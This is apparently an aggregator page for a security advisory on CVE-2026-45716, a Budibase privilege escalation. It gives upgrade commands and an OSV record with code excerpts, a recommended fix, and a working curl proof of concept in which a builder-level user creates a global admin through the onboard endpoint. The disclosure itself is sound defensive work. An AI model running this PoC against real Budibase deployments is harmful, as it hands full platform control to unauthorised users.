CVE-2026-45716: Budibase Builder-to-Admin Privilege Escalation Vulnerability
HIGHCVE-2026-45716 is a HIGH (CVSS 8.8) builder-to-admin privilege escalation vulnerability (CWE-269: Improper Privilege Management) affecting Budibase libraries in the npm ecosystem. The issue involves builder-to-admin privilege escalation via onboardusers endpoint without smtp configuration. Remediation is available by upgrading affected packages to version 3.38.1.
CVE-2026-45716 at a Glance
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-45716
To remediate this vulnerability, upgrade all affected Budibase dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @budibase/worker@3.38.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @budibase/worker
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-45716, inspect your project dependencies using npm:
npm ls @budibase/worker
Analyze the terminal output to locate any version of Budibase in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.38.1), your application is affected.
Note: The npm ls @budibase/worker command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-269: Improper Privilege Management, where the product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. In Budibase, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-45716 Affected Budibase Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@budibase/worker
|
npm |
< 3.38.1
|
3.38.1
|
References
Frequently Asked Questions
What is CVE-2026-45716?
Which Budibase versions are affected?
What version fixes CVE-2026-45716?
Is @budibase/worker affected?
What is the CVSS score of CVE-2026-45716?
What CWE is associated with CVE-2026-45716?
How can I check npm dependencies for CVE-2026-45716?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-c54j-xp92-wh28",
"modified" : "2026-06-08T23:51:23Z",
"published" : "2026-05-18T17:42:24Z",
"aliases" : [ "CVE-2026-45716" ],
"summary" : "Budibase: Builder-to-Admin Privilege Escalation via onboardUsers Endpoint Without SMTP Configuration",
"details" : "## Summary\n\nThe `POST /api/global/users/onboard` endpoint is protected by `workspaceBuilderOrAdmin` middleware, allowing any user with builder permissions to access it. When SMTP email is not configured (the default for self-hosted Budibase instances), this endpoint bypasses the admin-restricted invite flow and directly creates users via `bulkCreate`, accepting arbitrary `admin` and `builder` role assignments from the request body. A builder-level user can create a new global admin account and receive the generated password in the response, achieving full privilege escalation.\n\n## Details\n\nThe vulnerability stems from a mismatch between the authorization level of the `onboardUsers` endpoint and the user-creation capabilities it exposes when SMTP is not configured.\n\n**Route definition** (`packages/worker/src/api/routes/global/users.ts:93-109`):\n```typescript\nbuilderOrAdminRoutes // <-- allows builders, not just admins\n .post(\n \"/api/global/users/onboard\",\n buildInviteMultipleValidation(),\n controller.onboardUsers\n )\n```\n\nCompare with the `invite` and `inviteMultiple` endpoints which are correctly admin-only:\n```typescript\nadminRoutes // <-- admin only\n .post(\"/api/global/users/invite\", buildInviteValidation(), controller.invite)\n .post(\"/api/global/users/multi/invite\", buildInviteMultipleValidation(), controller.inviteMultiple)\n```\n\n**Controller** (`packages/worker/src/api/controllers/global/users.ts:601-630`):\n```typescript\nexport const onboardUsers = async (ctx) => {\n if (await isEmailConfigured()) {\n await inviteMultiple(ctx) // admin-only path (delegates to invite flow)\n return\n }\n\n // No SMTP → directly create users with attacker-controlled roles\n const users = ctx.request.body.map(invite => {\n const password = generatePassword(12)\n createdPasswords[invite.email] = password\n return {\n email: invite.email,\n password,\n forceResetPassword: true,\n roles: invite.userInfo.apps || {},\n admin: { global: !!invite.userInfo.admin }, // <-- attacker-controlled\n builder: invite.userInfo.builder, // <-- attacker-controlled\n tenantId: tenancy.getTenantId(),\n }\n })\n\n let resp = await userSdk.db.bulkCreate(users)\n for (const user of resp.successful) {\n user.password = createdPasswords[user.email] // <-- password returned!\n }\n ctx.body = { ...resp, created: true }\n}\n```\n\n**Middleware pass-through** (`packages/backend-core/src/middleware/workspaceBuilderOrAdmin.ts:10-26`):\n\nIn the worker context (`env.isWorker()` is `true`), when there is no `workspaceId` parameter in the request (which there isn't for the onboard endpoint), the middleware at line 19 checks `!workspaceId && env.isWorker()` — this is `true`, so it falls through to line 21 which only checks `hasBuilderPermissions`. Any global builder passes.\n\n**Validation gap** (`buildInviteMultipleValidation` at line 37-45): The Joi schema validates `userInfo` as `Joi.object().optional()` with no constraints on its contents, so `admin` and `builder` fields pass through.\n\n**No downstream check**: `bulkCreate` and `buildUser` do not strip or validate admin/builder fields — they are written directly to the user document in CouchDB.\n\n## PoC\n\n**Prerequisites:** A self-hosted Budibase instance (default: no SMTP configured) and a user account with builder-level access.\n\n**Step 1:** Authenticate as a builder user and obtain the session cookie:\n```bash\n# Login as builder\ncurl -s -c cookies.txt -X POST 'http://localhost:10000/api/global/auth/default/login' \\\n -H 'Content-Type: application/json' \\\n -d '{\"username\":\"builder@example.com\",\"password\":\"builderpassword\"}'\n```\n\n**Step 2:** Create a new global admin user via the onboard endpoint:\n```bash\ncurl -s -X POST 'http://localhost:10000/api/global/users/onboard' \\\n -H 'Content-Type: application/json' \\\n -b cookies.txt \\\n -d '[{\"email\":\"pwned-admin@attacker.com\",\"userInfo\":{\"admin\":{\"global\":true}}}]'\n```\n\n**Expected response** (includes the generated password):\n```json\n{\n \"successful\": [{\"email\":\"pwned-admin@attacker.com\",\"password\":\"<generated-12-char-password>\",\"admin\":{\"global\":true},...}],\n \"unsuccessful\": [],\n \"created\": true\n}\n```\n\n**Step 3:** Login as the new admin:\n```bash\ncurl -s -X POST 'http://localhost:10000/api/global/auth/default/login' \\\n -H 'Content-Type: application/json' \\\n -d '{\"username\":\"pwned-admin@attacker.com\",\"password\":\"<password-from-step-2>\"}'\n```\n\nThe attacker now has full global admin access.\n\n## Impact\n\n- **Privilege escalation:** Any builder-level user can escalate to global admin on self-hosted Budibase instances without SMTP configured (the default deployment).\n- **Full platform compromise:** Global admin can access all apps, all data sources, manage all users, delete apps, and modify platform configuration.\n- **Credential exposure:** The generated password is returned in the HTTP response, giving the attacker immediate access to the new admin account.\n- **Stealth:** The created user appears as a legitimately onboarded user, making detection difficult without audit log review.\n- **Wide applicability:** Self-hosted Budibase instances commonly run without SMTP configuration, making this the default-exploitable path.\n\n## Recommended Fix\n\nMove the `onboardUsers` route from `builderOrAdminRoutes` to `adminRoutes` to match the authorization level of `invite` and `inviteMultiple`:\n\n```diff\n--- a/packages/worker/src/api/routes/global/users.ts\n+++ b/packages/worker/src/api/routes/global/users.ts\n-builderOrAdminRoutes\n+adminRoutes\n .post(\n \"/api/global/users/onboard\",\n buildInviteMultipleValidation(),\n controller.onboardUsers\n )\n```\n\nAdditionally, the `onboardUsers` controller should validate that the caller has sufficient permissions to assign the requested role level. Even admin users should not be able to create users with roles exceeding their own. Consider adding explicit validation in the controller:\n\n```typescript\n// In onboardUsers, before bulkCreate:\nfor (const invite of ctx.request.body) {\n if (invite.userInfo.admin && !ctx.user.admin?.global) {\n ctx.throw(403, \"Only admins can create admin users\")\n }\n}\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@budibase/worker"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.38.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/Budibase/budibase/security/advisories/GHSA-c54j-xp92-wh28"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45716"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/Budibase/budibase"
}, {
"type" : "WEB",
"url" : "https://github.com/Budibase/budibase/releases/tag/3.38.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-269" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-18T17:42:24Z",
"nvd_published_at" : "2026-05-27T18:16:25Z"
}
}